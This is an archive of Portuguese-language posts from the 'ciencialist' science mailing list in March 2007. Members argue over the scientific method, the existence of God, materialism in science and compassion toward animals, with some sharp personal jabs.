lembra um outro 'listeiro' que, especializado em filosofia de buteco, só
sabia perguntar ... nunca responder!
Chega! desisto!
[]'
===========================
Luiz Ferraz Netto [Léo]
leobarretos@uol.com.br
http://www.feiradeciencias.com.br/doacoes.asp
===========================
-----Mensagem Original-----
De: "Ferrari" <emailferrari@yahoo.com.br>
Para: <ciencialist@yahoogrupos.com.br>
Enviada em: quarta-feira, 21 de março de 2007 15:04
Assunto: Re: [ciencialist] Re: P/ Luiz: Sobre o Método Cientifico - ad
infinitum


Oi Luiz!

Luiz >>> essas suas respostas são as mais típicas
respostas das tirinhas de horóscopos, auto-ajuda etc.

--- Hehehehe... Luiz, sua lógica de argumentação não
muda mesmo. Permita-me descreve-la:

1) humilhar o adversário com ironias
2) mostrar com isto que sou "o cara"
3) fugir pela tangente.

--- Hehehehehe... Até que vc engana um montão de gente
com isto, vc é até professor. A pergunta fundamental
aqui é a seguinte: você consegue enganar a si mesmo
com ela? Não precisa me responder, pois é uma resposta
que não me interressa.

Luiz >>> Quer moleza? Vá tomar sopa de hidrogênio!

--- Hahahahehehehahahehehe... Quer um conselho de quem
pratica literatura. Pratique literatura também. Sério.
Seu jeito de escrever é literario, é criativo.

Luiz >>> Quem é esse "ele" para eu lhe dirigir a
pergunta? Que resposta vazia!

--- Eu que lhe pergunto: quem é deus? O que é deus?
Como é deus? Quem é deus de verdade? Quem é deus na
realidade? Eu sei! Vc sabe? Se eu lhe disser e vc
acreditar estará agindo apenas como um crente, é isto
que vc quer, ser um crente?

Luiz >>> Sim, eu ponho meu cérebro para funcionar e
"ele" leva os créditos ... que safado!

--- Ah tá! Se é vc que faz seu cérebro funcionar então
me diga: como vc consegue isto? Pra começar, me diga:
quem é vc?


sinceramente
ferrari




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SUBJECT: P/ Ferrari - : Sobre o Método Cientifico - adinfinitum
FROM: "Oraculo" <oraculo@atibaia.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 21/03/2007 17:08

Olá Ferrari

Tudo é tudo. Tudo é nada, pois é tudo. Nada é tudo, e tudo é nada. Deus é tudo, então deus é nada. Nada é deus e é tudo, e tudo é nada. E...

Fala sério, Ferrari, é isso que pensa ser "pensar" ou filosofar? Usamos termos com um propósito claro, comunicar, definimos conceitos e coisas com o sentido de separar, para compreender, para comunicar idéias distintas. Seu discurso maluco, como a frase acima, não significam nada (por mais feliz e alegre que você tente se apresentar ao declama-lo..:-)

Gente sem nenhuma capacidade intelectual pode produzir discursos como esse, e ainda não dizem anda, nem nada significam.

Deus tem definição precisa, não pode criar "seu deus", pelo menos não se este não se encaixar na definição: entidade sobrenatural, superpoderosa, intencional, etc. A força da gravidade NÃO é deus ou divindade, porque NÃO deseja, tem a intenção, de atrair coisas.

Ferrari: "Não é incorreta, é diferente. Mas saiba que a sua está
contida na minha. Ou seja, eu te entendo, embora vc
não me entenda. E pelo visto, nem quer entender."

Não, é incorreta mesmo. Absurda, na verdade, e sem sentido. E não é que eu não queia entender, não há o que entender, como não há o que entender em um discurso de um esquizofrenico, que pensa ter "todas as verdades" e conhecer deus. Embora o esquizofrencio "pense" que está lhe revelenaod coisas fantásticas, racionais e maravilhosas, ele na verdade está produzindo apenas um discurso incoerente e sem sentido. Como você.

Ferrari: "NÃO! Esta ai é a SUA definição de deus, não a
minha. Nunca lhe dei a minha. "

Não pode criar "sua definição de deus", Ferrari, não é assim que funciona a comunicação, a linguagem, o debate lógico, etc. Não pode dar a "sua", só pode defender sua posição SE demonstrar que tem evidências de um deus, que se encaixe na definição de deus. É como alegar que não sei o que ´´e uma 'cadeira", pois não é a "minha" definição de cadeira que vale, mas a sua..:-) E na "sua' definição de "cadeira", está é um objeto que serve para escovar os dentes..:-)

É ridículo, não é? Pois é o que tenta fazer com o termo "deus", dar a ele uma definição que ele não tem, de forma a defender sua alegação, baseada em crença, que "deus existe". Dessa forma, "deus é o universo", e se reconheço que o universo existe, então reconheço que deus existe..:-)

Isso serve para QUALQUER absurdo criado pela imaginação humana..:-) Duendes são a chuva, se reconhece que a chuva existe, então tem de aceitar que duendes existem. Vampiros são pasteis de feira, se reconhece que pasteis de feira existem, então tem de aceitar que vampiros existem.

Fala sério, Ferrari..:-) Assim não dá, nem com todo sua "alegria por saber a verdade"..:-)

Ferrari: "Observe este seu comportamento, se pergunte
porque faz isto, isto também é um tipo de ciencia, se
chama autoconhecimento (ciencia de si).
"

Não, Ferrari, vampiros NÃO são pasteis de feira, e ciência NÃO é autoconhecimento. Auto-conhecimento até equizofrenicos tem, embora seja um conhecimento TODO errado..:-) Ciência tem definição precisa, como demonstrado pelo Takata, e não pode "distorcer" os termos a seu bel prazer.

Ou discute de forma minimamente racional, ou vai ficar falando abobrinhas para crianças em parques infantis, tentando convence-las de que Papai Noel existe, pois "Papai Noel é tudo, tudo é Papai Noel" e coisas do tipo.

Ferrari: "Eu que lhe pergunto: quem é deus? O que é deus?
Como é deus? Quem é deus de verdade? Quem é deus na
realidade? Eu sei! Vc sabe? Se eu lhe disser e vc
acreditar estará agindo apenas como um crente, é isto
que vc quer, ser um crente?
"

Não há evidências de que exista um deus, dentro da definição aceita para o termo: entidade intencional etc. Você "acredita" que sabe, mas é só uma crença, tão boa e tão sem sentido como a de quem acredita em duendes, fadas e o Papai Noel. Não há diferença em "sua" iluminação, e a luminação de quem alega outras viagens de imaginação.

Um mistério não justifica uma escolha de explicação sem base. Não saber algo NÃO significa que esse algo é deus, ou um ET de alpha-centauri ou um ser intraterreno. Você usa o mesmo subterfúgio e incorre no mesmo erro de todo crente, crente de qualquer coisa, ETs, divindades, paranormais, etc. Pensa que lacunas de conhecimento justificam sua crença. Não justificam.

Está tão errado com seu "deus é tudo", quanto nossos ancestrais estavam errados com seu deus-vulcão, ou seu deus-sol ou seu deus-jeova, ou seu deus pessoal (como o seu).

Eu existir NÃO é evidência de existir deus, o universo existir NÃO é evidência de existir deus, qualquer coisa existir, NÃO é evidência de existir deus, e deus é tudo é uma tautologia, uma frase que nada diz e nada informa, inútil em todos os sentidos, e em especial para um debate racional.

Deus-das-lacunas já foi abandonado há tempos, Ferrari, devido ao costume de ser "despejado" a todo momento, quando se descobre a explicação real para a lacuna..:-)

Homero














----- Original Message -----
From: Ferrari
To: ciencialist@yahoogrupos.com.br
Sent: Wednesday, March 21, 2007 2:48 PM
Subject: Re: [ciencialist] Re: P/ Ferrari - : Sobre o Método Cientifico - adinfinitum


Olá Homero!

Homero >>> Ninguém aprende lógica "no berço". O termo
define um conjunto de proposições, uma ferramenta, bem
estruturada, e não se confunde com percepções internas
como "eu existo".

--- Pense bem e verá que começa no berço sim. Mas este
é meu limite, apontar, ver é com vc.

Homero >>> Sua noção desse assunto é incorreta...

Não é incorreta, é diferente. Mas saiba que a sua está
contida na minha. Ou seja, eu te entendo, embora vc
não me entenda. E pelo visto, nem quer entender.

Homero >>> Deus, seu deus, ou a divindade que
preferir, não tem evidências de existir. Uma força não
intencional, poderosa, NÃO se encaixa no conceito,
qualquer conceito, de deus.

--- NÃO! Esta ai é a SUA definição de deus, não a
minha. Nunca lhe dei a minha. Tá vendo como vc se
apega a semantica? Vc se esqueceu de me perguntar qual
é minha definição de deus e já foi me julgando de cabo
a rabo! Observe este seu comportamento, se pergunte
porque faz isto, isto também é um tipo de ciencia, se
chama autoconhecimento (ciencia de si).

sinceramente
ferrari

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[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: Re: Sobre o Método Cientifico - ad infinitum
FROM: "Eduardo Torres" <dudutorres@yahoo.com>
TO: ciencialist@yahoogrupos.com.br
DATE: 21/03/2007 18:05

--- Em ciencialist@yahoogrupos.com.br, Ferrari <emailferrari@...>
escreveu

> --- A definição atual de "médoto cientifico" é materialista e não tem
necessidade de ser.


>>>>Nao tem necessidade de ser? Como seria um método cientifico nao
materialista? O cientista admitiria a influencia de espiritos ou
intencionalidade arbitraria divina nos seus procedimentos
experimentais? A q conclusao se pode chegar com esse pressuposto? O
metodo cientifico tem q partir de um pressuposto materialista,
evidentemente. Supor outra coisa e' absurdo. O cientista como pessoa
pode ou nao ser materialista, pode ser espiritualista, teista,
religioso ou mistico, mas sua pesquisa segundo o metodo cientifico
obrigatoriamente tem q partir de um pressuposto materialista.

Abs,
Eduardo Torres



SUBJECT: Re: [ciencialist] P/ Ferrari - : Sobre o Método Cientifico - ad infinitum
FROM: "Victor" <jvoneto@uol.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 21/03/2007 20:17

Caro Homero,

Essa questão dos porquês que têm aparecido por aquí realmente a nada leva. Não que um porquê não seja útil. Claro que é. Tem os Porquês e os porquês. Refiro-me aos porquês ora comentados. Sequer servem para exercitar a capacidade de dialogar, aprimorar o verbo ou mesmo a paciência. É claro que não precisa, em área nenhuma, disparar muitos porquês para chegar num deles que, simplesmente, "entope" o gargalo. Quando isto acontece o "porquezeiro" entende que "quebrou" o objeto em cujo âmago pensa chegar, se não for barrado por um deles, que simplesmente não tenha resposta!. E os pontos de exclamação, como aqueles do gato Félix, que pairam sobre sua cabeça vão dar-lhe a ilusão, e por causa mesmo dessa ilusão, de que descobriu, só ele, que a roda não é quadrada, e que a ninguém mais isso ocorreu. O fato de o respondedor "quebrar na emenda", deve conferir ao perguntador algum sentimento de superioridade. Freud explica. Sempre que essas discussões surgem, lembro de um artigo de Victor F. Weisskopf(e outro físico, cujo nome não lembro agora), publicado em 1988, na revista Phisycs Today. O artigo tem o título: "Faça uma pergunta imbecil.." e, ao lado da jocosidade aparente, há a contraparte séria e pertinente da questão. O artigo foi também comentado em uma parte de um dos capítulos do excelente Seis Caminhos a Partir de Newton, de Edward Speyer, Editora Campus. Os autores garantem: " as perguntas que fazem sentido podem ser respondidas. Porém, "faça um pergunta imbecil e receberá uma resposta imbecil." Ou, pelo menos, deveria, acrescento eu, reportando-me às perguntas "inteligentes" que ora enchem o fórum. Mas aviso que não estou chamando de imbecil quem faz as perguntas. Isto ficará por conta de onde a carapuça cair. Estou comentando o que dizem a respeito. Com o que concordo...
Algumas pérolas :
Quanto tempo um átomo leva para mudar de estado ao emitir luz?
Jogo um dado ao caso, por que a face 4 caiu para cima, e não uma das outras cinco?
O que havia antes do big-bang?
E Deus, o que fazia antes de criar o universo ou de onde surgiu, se não havia esse "de onde"?
Como era o "universo", antes de deus criá-lo?´E qual o propósito da criação?
Por que somos do jeito que somos e não de outro jeito? (Essa é de lascar!).
Eu nasci assim, porquê?
Outras, neste fórum.
..ad infinitum.

Poderia acrescentar outras, que já fizeram neste fórum, mais recentemente.

Epa, acabei de fazer perguntas imbecis!

Por aí. Perguntas imbecis, segundo os autores, são as que não têm sentido, e ficam compulsoriamente orfãs de respostas. E há um milhão delas.
Mas há perguntas pertinentes, entre outrras, com respostas nem tanto:


Chicão >>> 1) O que é ciência ??

Esta é uma pergunta pertinente, tem sentido. Mas as respostas dadas a ela, pelo poeta Ferrari, paciência!...

Nem os inteligentes comentários do Takata conseguem aclarar as coisas, pondo-as como são.

Sds,
Victor.



----- Original Message -----
From: Oraculo
To: ciencialist@yahoogrupos.com.br
Sent: Monday, March 19, 2007 2:44 PM
Subject: [ciencialist] P/ Ferrari - : Sobre o Método Cientifico - ad infinitum


Olá Ferrari

Ferrari: "--- Nada impede. Aliás, deve-se. Aliás, é só isto que
a ciencia faz. Aliás, se a ciencia faz isto é porque é
da vontade de deus."

Todas suas respostas são identicas..:-) Mas, tente substituir o termo "deus" por "monstro espagute voador" ou por "Papai Noel" ou por "ETs extradimensionais superpoderosos", ou por "duendes e fadas" e perceberá o absurdo que elas representam.

Como em:

--- Nada impede. Aliás, deve-se. Aliás, é só isto que
a ciencia faz. Aliás, se a ciencia faz isto é porque é
da vontade dos duendes e fadas.

Fala sério..:-) Séculos de filosofia e teologia, para terminar com uma bobagem dessas como argumento, Ferrari? Nada do argumento Teleológico (teleOlógico, não teológico, ok?), nada de grandes elocubrações, nada, apenas um "apelo a fé" dos mais ingenuos e sem sentido?

Acho que pode fazer melhor.

"É assim, porque deus quer que seja" é mais tola e simplória fuga lógica que a teologia permite, Ferrari. Não é uma explicação, é uma irracionalidade, uma desculpa para a ignorância. Não há nenhuma evidência a sustentar essa alegação, nenhuma evidência de que deus "queira" algo, ou mesmo que exista. Vale tanto quanto "é assim, porque o Ferrari quer". Não há nenhuma maneira de determinar isso, se é o Ferrari que quer, porque até se eu fizer algo que você "alega" não querer, podemos dizer que é isso que você quer, que eu faça algo contra o que você "alega" não querer..:-)

O que o Takata argumentou não tem nada a ver com essa fuga, aliás. Foi colocado, pelo Chicão, que, se continuar a perguntar o "porque" para a ciência, ela "quebra as pernas" pois vai ter de parar em algum momento sem resposta. Mas o Takata demnstrou que isso não é um argumento válido, pois é uma condição de toda procura por respostas, até a que "alega" ter a resposta final, como você neste caso: é assim porque deus quer, ou é assim porque a explicação final é deus.

Mas, não é..:-) É possível continuar a série infindável de perguntas "por que" como, porque deus existe. Quem criou deus. Porque quem criou deus existe e quem criou quem criou deus.

Se "parar" em qualquer momento, com uma 'explicação" sem base alguma, como "deus não foi criado, é auto-criado" e outras fugas, podemos considerar que é uma explicação pertinente também para o universo, e podemos "parar" nele antes de considerar a existência de deus: o universo é auto-criado, não precisa que seja criado por ninguém.

Erros de lógica, erros de compreensão, enganos, falácias diversas, e muita arrogância (sou especial, filho dileto de um ser supremo que me criou e que tem desejos e intenções para comigo) são a causa de suas respostas sem pé nem cabeça.

Pense, o que responde uma frase como essa: "é assim por que deus quis"? Nada, nadica de nada..:-)

Um abraço.

Homero

[As partes desta mensagem que não continham texto foram removidas]





[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: Re: [ciencialist] P/ Ferrari - : Sobre o Método Cientifico - adinfinitum
FROM: "Álvaro Antpack" <alvaro_antpack@yahoo.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 21/03/2007 20:35

Senhores,

se me permitem um pitaco, depois de muito tempo sem participar de discussões
da lista (4 anos?)...

Não sou religioso, mas não acredito que a ciência, por ser produto de nossas
mentes, possa decidir sobre existência ou não de um deus ou como quiserem
chamá-lo.

Era uma vez uma bactéria, que tinha ouvido falar de um ser grandioso, que
podia decidir seu futuro, se quisesse (ok, bactérias não conversam, nem
"ouvem falar", mas tenham paciência com minha analogiazinha caseira). Mas
não acreditava. Não tinha qualquer prova de sua existência. Vivia em seu
meio, entre outras bactérias, durante sua longa existência (algumas horas,
ou dias, sei lá), e nunca viu nenhuma prova da existência do tal "humano".

Essa bactéria vivia na meleca grudada num pêlo do nariz do Joãozinho, que
foi se lavar no banheiro e lá se foi a bactéria pelo ralo da pia. Ela nem
tomou conhecimento, foi parar no esgoto sem saber, onde acabou se
reproduzindo através de mitose (se dividiu no meio e digamos que "morreu").

A idéia do tal humano simplesmente não cabia em sua "cabeça".

Creio que podem, sim, existir coisas que não temos condições de compreender.
Coisas que podem ser muito maiores do que nós, e simplesmente não caber em
nossa cabeça. Tente imaginar o tão comentado Universo de 4, 10 ou 11
dimensões. Ok, a matemática explica e consegue tratar desse assunto, mas
quem garante que todos os assuntos podem ser tratados matematicamente e
fisicamente? Quem sabe podem existir "coisas" que não cabem na nossa cabeça,
nem na da matemática, nem na da física?

A ciência pode e deve questionar a existência de tudo que não tenha
evidência, mas não deve afirmar que tal e tal coisa não existe, só por falta
de evidências. A navalha de Occam pode ser útil, mas é só um princípio. E
será que é aplicável nesse assunto? Afinal, estamos aqui, discutindo. Viemos
de algum lugar. Ok, a vida surgiu a partir de reações químicas. E as reações
vieram de onde? E esse "onde" veio de onde? Simplesmente, por mais que
avancemos no sentido de entender nossas origens, provavelmente jamais
chegaremos à causa última de nossa existência.

Se viesse alguém nesta lista dizendo que deus não existe, deveria ser
igualmente questionado. Qualquer afirmação tomada por verdadeira supõe que
sua negativa é falsa. E em qualquer caso o cientista deve procurar
evidências, testar a tese e tentar fazer previsões com ela antes de
aceitá-la. Mas CADÊ A EVIDÊNCIA?

Em minha opinião, a melhor resposta de um cientista ou simpatizante, quando
questionado sobre a existência de deus, é a seguinte: "Nunca vi evidência da
existência nem da não-existência de deus, portando NÃO TENHO CONDIÇÕES DE
AFIRMAR SE EXISTE OU NÃO." E essa resposta delega a decisão somente à fé,
que em minha opinião nada tem que ver com ciência.

O problema é que com essa resposta não teríamos discussões interessantes
como essa que tenho acompanhado.

Abraço...

Álvaro


[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: P/ Alvaro - : Sobre o Método Cientifico - adinfinitum
FROM: "oraculo333" <oraculo@atibaia.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 21/03/2007 21:43

Olá Alvaro

Alvaro: "Em minha opinião, a melhor resposta de um cientista ou
simpatizante, quando questionado sobre a existência de deus, é a
seguinte: "Nunca vi evidência da existência nem da não-existência de
deus, portando NÃO TENHO CONDIÇÕES DE AFIRMAR SE EXISTE OU NÃO.""

Se tiver a bondade de reler as respostas que temos postado ao Ferrari,
vai perceber que EM TODAS ELAS é justamente isso que é defendido, que
não há evidências que suportem essa alegação de existência..:-)

Não temos evidências de existência de seres sobrenaturais ou divinos.
Pode ser que existam? Tudo pode ser que exista, mas, nem tudo tem a
mesma probabilidade de existir.

Da mesma forma como "pode ser que exista" Papai Noel, mas devido a
falta de evidências dessa existência justifica que nos comportemos
"como se não existisse" Papai Noel, também podemos nos comportar como
se deus não existisse, em especial em ciência ou fazendo ciência.

Note que são os que crêem na divindade de sua preferência que afirma,
com todas as letras "saber" que ele existe, como pensa, o que deseja,
etc. A ciência, e nós na lista, alegamos apenas que não é uma
conclusão válida, baseada em evidências. Acredita quem quer, seja em
deuses, seja no Papai Noel, ou em duendes.

Como tentamos explicar ao Ferrari, a falta de evidências que permita
uma explicação científica NÃO significa que se possa adotar outra
explicação qualquer, igualmente sem evidências.

Com certeza, Alvaro, muitas coisas podem existir sem que "caibam em
nossa cabeça", mas justamente por isso é preciso cuidado e rigor ao
analisar e concluir: como separar algo que não cabe em nossa cabeça,
mas não existe, de algo que não cabe em nossa cabeça, mas existe?

Elementos e fenômenos que não apresentam evidências de existir não
podem, nem devem, ser levados em consideração nas escolhas, atos e
desdobramentos, por uma questão de racionalidade e confiabilidade.

Alvaro: "Qualquer afirmação tomada por verdadeira supõe que sua
negativa é falsa."

É uma regra de lógica que um argumento não pode ser contraditório, ou
seja, não pode conter premissas ou conclusões conflitantes. Mas isso
não significa o que parece pensar, pela frase acima. Acreditar que
deus existe, claro, significa não acreditar que deus NÃO existe, mas
não ver evidências dessa existência não é o mesmo que acreditar que
deus não existe.

É apenas ter como irrelevante essa existência, já que não pode ser
detectada ou analisada (e, portanto, não se pode decidir o que essa
entidade deseja ou pretende). Como disse o saudoso Carl Sagan, qual a
diferença entre um dragão invisível que cospe fogo frio e é
indetectável de toda forma conhecida, e NENHUM dragão?

Alvaro: "O problema é que com essa resposta não teríamos discussões
interessantes como essa que tenho acompanhado."

Está enganado, não é esse o problema, como as mensagens anteriores
mostram. O problema é que esta resposta NÃO satisfaz os que crêem, que
acreditam que existe uma divindade. Por isso preferem opor sua crença
a uma pretensa "crença inversa", na inexistência de divindades.

Alvaro: "mas não acredito que a ciência, por ser produto de nossas
mentes, possa decidir sobre existência ou não de um deus ou como
quiserem chamá-lo."

Não há essa pretensão, pela ciência, de provar que deus não existe,
nem que existe. A própria definição de deus o coloca fora do alcance e
escopo da ciência.

Mas esta pode, e deve, analisar qualquer evidência material, concreta,
que seja apresentada para demonstrar essa existência. E pode concluir,
como tem concluído, que não há evidências a suportar essa alegação.

Um abraço.

Homero


--- Em ciencialist@yahoogrupos.com.br, "Álvaro Antpack"
<alvaro_antpack@...> escreveu
>
> Senhores,
>
> se me permitem um pitaco, depois de muito tempo sem participar de
discussões
> da lista (4 anos?)...
>
> Não sou religioso, mas não acredito que a ciência, por ser produto
de nossas
> mentes, possa decidir sobre existência ou não de um deus ou como
quiserem
> chamá-lo.
>
> Era uma vez uma bactéria, que tinha ouvido falar de um ser
grandioso, que
> podia decidir seu futuro, se quisesse (ok, bactérias não conversam, nem
> "ouvem falar", mas tenham paciência com minha analogiazinha
caseira). Mas
> não acreditava. Não tinha qualquer prova de sua existência. Vivia em seu
> meio, entre outras bactérias, durante sua longa existência (algumas
horas,
> ou dias, sei lá), e nunca viu nenhuma prova da existência do tal
"humano".
>
> Essa bactéria vivia na meleca grudada num pêlo do nariz do
Joãozinho, que
> foi se lavar no banheiro e lá se foi a bactéria pelo ralo da pia.
Ela nem
> tomou conhecimento, foi parar no esgoto sem saber, onde acabou se
> reproduzindo através de mitose (se dividiu no meio e digamos que
"morreu").
>
> A idéia do tal humano simplesmente não cabia em sua "cabeça".
>
> Creio que podem, sim, existir coisas que não temos condições de
compreender.
> Coisas que podem ser muito maiores do que nós, e simplesmente não
caber em
> nossa cabeça. Tente imaginar o tão comentado Universo de 4, 10 ou 11
> dimensões. Ok, a matemática explica e consegue tratar desse assunto, mas
> quem garante que todos os assuntos podem ser tratados matematicamente e
> fisicamente? Quem sabe podem existir "coisas" que não cabem na nossa
cabeça,
> nem na da matemática, nem na da física?
>
> A ciência pode e deve questionar a existência de tudo que não tenha
> evidência, mas não deve afirmar que tal e tal coisa não existe, só
por falta
> de evidências. A navalha de Occam pode ser útil, mas é só um
princípio. E
> será que é aplicável nesse assunto? Afinal, estamos aqui,
discutindo. Viemos
> de algum lugar. Ok, a vida surgiu a partir de reações químicas. E as
reações
> vieram de onde? E esse "onde" veio de onde? Simplesmente, por mais que
> avancemos no sentido de entender nossas origens, provavelmente jamais
> chegaremos à causa última de nossa existência.
>
> Se viesse alguém nesta lista dizendo que deus não existe, deveria ser
> igualmente questionado. Qualquer afirmação tomada por verdadeira
supõe que
> sua negativa é falsa. E em qualquer caso o cientista deve procurar
> evidências, testar a tese e tentar fazer previsões com ela antes de
> aceitá-la. Mas CADÊ A EVIDÊNCIA?
>
> Em minha opinião, a melhor resposta de um cientista ou simpatizante,
quando
> questionado sobre a existência de deus, é a seguinte: "Nunca vi
evidência da
> existência nem da não-existência de deus, portando NÃO TENHO
CONDIÇÕES DE
> AFIRMAR SE EXISTE OU NÃO." E essa resposta delega a decisão somente
à fé,
> que em minha opinião nada tem que ver com ciência.
>
> O problema é que com essa resposta não teríamos discussões interessantes
> como essa que tenho acompanhado.
>
> Abraço...
>
> Álvaro
>
>
> [As partes desta mensagem que não continham texto foram removidas]
>




SUBJECT: Re: [ciencialist] P/ Ferrari - : Sobre o Método Cientifico - adinfinitum
FROM: "Jefferson" <jeff@jeff.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 21/03/2007 21:49

Olá Álvaro,

>
>Não sou religioso, mas não acredito que a ciência, por ser produto de
>nossas
>mentes, possa decidir sobre existência ou não de um deus ou como quiserem
>chamá-lo. Creio que podem, sim, existir coisas que não temos condições de
>compreender.
>Coisas que podem ser muito maiores do que nós, e simplesmente não caber em
>nossa cabeça. Quem sabe podem existir "coisas" que não cabem na nossa
>cabeça,
>nem na da matemática, nem na da física?
>

Concordo. A ciência se limita em nossa capacidade de raciocínio.

>
>A ciência pode e deve questionar a existência de tudo que não tenha
>evidência, mas não deve afirmar que tal e tal coisa não existe, só por
>falta
>de evidências.
>

Não deve mesmo. Cientistas sérios e sensatos não devem ser assim. E não
devem também dar atenção pra quem diz que tal coisa existe sem ter
evidências, não concorda?

>
>Viemos de algum lugar. Ok, a vida surgiu a partir de reações químicas. E as
>reações
>vieram de onde? E esse "onde" veio de onde? Simplesmente, por mais que
>avancemos no sentido de entender nossas origens, provavelmente jamais
>chegaremos à causa última de nossa existência.
>

A teoria mais aceita é a do "big bang". Antes disso, teoricamente, nada. O
universo pode ser tão simples que poderemos, um dia, entendê-lo
completamente, ou não.

>
>Em minha opinião, a melhor resposta de um cientista ou simpatizante, quando
>questionado sobre a existência de deus, é a seguinte: "Nunca vi evidência
>da
>existência nem da não-existência de deus, portando NÃO TENHO CONDIÇÕES
>DE AFIRMAR SE EXISTE OU NÃO." E essa resposta delega a decisão somente
>à fé, que em minha opinião nada tem que ver com ciência.
>

Muito sensato. Também penso assim e creio que quase todo mundo aqui também.

O problema desta discussão é que o Sr. Ferrari diz saber a "verdade" e que
esta não é científica. Só que a ÚNICA MANEIRA de nós tentarmos entender as
coisas é através da ciência, qualquer outra coisa é viagem. É viagem porque
quem tem alguma "explicação" não-científica, este mesmo não pode entendê-la.
Só conseguimos entender, realmente, algo que tenha lógica.

Mas, como dissemos, a ciência é limitada na capacidade do nosso cérebro, no
que conseguimos entender. Nos parece, até o momento, que o universo tem uma
lógica que entendemos e, por isso, cremos que um dia o decifraremos por
completo. Mas isso pode não ser verdade e, talvez, nunca conseguiremos
entender a realidade. Como já lí em algum lugar, estamos como leigos
assistindo um jogo de xadrez, observando os movimentos das peças e tentando
decifrar a regra geral do jogo. Escrevemos teorias que descrever todos os
movimentos até que aparece um "roque" e estraga tudo :-)

[]´,s
Jeff




SUBJECT: RE: [ciencialist] Re: P/ Oraculo - Crueldade com animais
FROM: "murilo filo" <avalanchedrive@hotmail.com>
TO: ciencialist@yahoogrupos.com.br
DATE: 21/03/2007 22:39

Horáculo...
Não foi a primeira vez, mas com certeza foi a última...
Vc provocou e fugiu do pau.
A partir de hoje, não leio vc suas pataquadas, mesmo dirigindo-se a mim.
M. SP 21/março/2007


>From: "murilo filo" <avalanchedrive@hotmail.com>
>Reply-To: ciencialist@yahoogrupos.com.br
>To: ciencialist@yahoogrupos.com.br
>Subject: RE: [ciencialist] Re: P/ Oraculo - Crueldade com animais
>Date: Mon, 19 Mar 2007 22:56:11 -0300
>
>( + 1 tentativa p/o Horáculo dizer alguma coisa, mesmo espremido.)
>
>
> >To: ciencialist@yahoogrupos.com.br
> >Subject: RE: [ciencialist] Re: P/ Oraculo - Crueldade com animais
> >Date: Sun, 18 Mar 2007 20:44:03 -0300
> >
> >Sim, Oráculo,
> >vc já foi melhor.
> >
> >Compaixão e empatia é assim: vc tem ou não tem. Se não tem, fica difícil
> >entender.
> >A lombriga e os ratos, os bodes, papagaios, leões, virus, ninguém tem
> >compaixão... no máximo alguma solidariedade perante algum filhote
>indefeso.
> >
> >Os seres humanos sim, COSTUMAM TER, e isso é AQUELE diferencial entre nós
>e
> >as feras; e que deveria ser conservado e cultivado.
> >
> >*Não é só* porque a lei da sobrevivência neste planeta manda que uns
>morram
> >para que outros vivam, num ciclo onde há lugar e vez para todos, em que
>as
> >espécies sobrevivem e os indivíduos passam, que não deve haver emoção e
> >sentimentos empáticos. ( isso responde bastante do que vc quer saber. )
> >
> >Se eu tivesse nas mãos um produto para *erradicar* os ratos dos esgotos,
>ou
> >as lombrigas e seus ovos de todas as bundas, fezes e águas, esteja
>seguro,
> >eu não o usaria, mesmo sendo eu o mais forte.
> >
> >E se eu fosse um político, que usa as pessoas e suas vidas como matéria
> >prima e massa de manobra, o que eu faria com as lombrigas, se tivesse o
> >hipotético produto? Logicamente, como político, se houvesse algum
>proveito
> >próprio, arrogantemente eu mataria qualquer coisa p/sempre.
> >
> >Mas acontece que BÁSICA e estruturalmente a cabeça da Bruna é a mesma do
> >político fera, ou qualquer outro brutal que anda por aí.
> >
> >A cabeça e a consciência da Bruna é que são muito mais depuradas, mais
> >elevadas e mais evoluídas, e isso deve ser cultivado e admirado, pq
> >trata-se
> >do seu diferencial perante as feras.
> >
> >Mesmo que a Bruna saiba, E SABE, que é impossível NÃO MATAR no planeta,
>ela
> >busca uma solução, e este impulso de busca é o começo de qualquer
>solução.
> >TALVEZ ela mesma não tenha avaliado como é que surgem estas coisas em sua
> >mente benevolente, mas que é algo muito refinado, não há como negar.
> >
> >A matança vai continuar... nosso cérebro é energia pura... nossa saúde
>está
> >cada vez melhor, mas graças às Brunas já existe UMA CONSCIÊNCIA de que
> >devemos matar apenas *o suficiente*, ou o *menos possível*.
> >
> >Ainda é querer muito de uma humanidade que também mata a sí mesma, mas já
> >podemos entender que NÃO se trata de algo impossível.
> >abr/Murilo SP 18/març07
> >
> > >From: "oraculo333" <oraculo@atibaia.com.br>
> > >Reply-To: ciencialist@yahoogrupos.com.br
> > >To: ciencialist@yahoogrupos.com.br
> > >Subject: [ciencialist] Re: P/ Murilo - Crueldade com animais
> > >Date: Sun, 18 Mar 2007 01:36:53 -0000
> > >
> > >Olá Murilo
> > >
> > >Murilo: "Caramba, Horáculo...
> > >Vc já foi melhor! Frente à realidade estabelecida há milhões de anos,
> > >ela só está falando de algo denominado de ''empatia'', ou
>''compaixão''."
> > >
> > >Bem, eu tenho um bocado de empatia e compaixão..:-) Mas realmente
> > >quero saber é em que ponto devemos colocar a linha que divide a
> > >aplicação concreta dessa compaixão.
> > >
> > >Por exemplo, a compaixão por um lindo coelhinho deve ser a mesma
> > >daquela que devemos ter por um rato? Ou uma barata? Ou lombrigas?
> > >
> > >Em algum momento, sob pena de tornar o argumento absurdo, temos de
> > >relativizar essa compaixão, não?
> > >
> > >Agora, o que a realidade de milhões de anos tem a ver com esta
> > >questão? Também não é uma pergunta retórica, eu realmente queria saber
> > >sua resposta sobre isso.
> > >
> > >Por exemplo, as doenças se desenvolvem e evoluem há milhões de anos, e
> > >nenhum dos seres vivos que as causam tem a menor compaixão ou mesmo a
> > >menor idéia do que isso seja.
> > >
> > >Um abraço.
> > >
> > >Homero
> > >
> > >
> > >
> > >
> > >
> > >--- Em ciencialist@yahoogrupos.com.br, "murilo filo"
> > ><avalanchedrive@...> escreveu
> > > >
> > > > Caramba, Horáculo...
> > > > Vc já foi melhor!
> > > > Frente à realidade estabelecida há milhões de anos, ela só está
> > >falando de
> > > > algo denominado de ''empatia'', ou ''compaixão''.
> > > > abr/M.
> > > >
> > > >
> > > > >From: "oraculo333" <oraculo@...>
> > > > >Reply-To: ciencialist@yahoogrupos.com.br
> > > > >To: ciencialist@yahoogrupos.com.br
